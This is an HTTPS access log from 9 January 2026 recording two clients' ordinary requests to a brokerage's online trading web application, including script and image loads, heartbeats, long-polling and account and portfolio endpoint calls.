[09/Jan/2026:12:48:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:48:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:48:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934371364 HTTP/1.1" -
[09/Jan/2026:12:48:24 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:48:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934376421 HTTP/1.1" -
[09/Jan/2026:12:48:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:12:48:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:12:48:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:12:48:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:12:48:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:12:48:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:12:48:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:12:48:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:12:48:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:12:48:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:12:48:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767934380656 HTTP/1.1" 3188
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 124
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:12:48:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 293
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:48:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 223
[09/Jan/2026:12:48:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:12:48:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:48:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:48:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:12:48:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:48:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934383451 HTTP/1.1" -
[09/Jan/2026:12:48:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1543
[09/Jan/2026:12:48:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:36 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:48:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934388509 HTTP/1.1" -
[09/Jan/2026:12:48:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934393606 HTTP/1.1" -
[09/Jan/2026:12:48:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934398748 HTTP/1.1" -
[09/Jan/2026:12:48:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934403862 HTTP/1.1" -
[09/Jan/2026:12:48:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:48:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:49:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934408997 HTTP/1.1" -
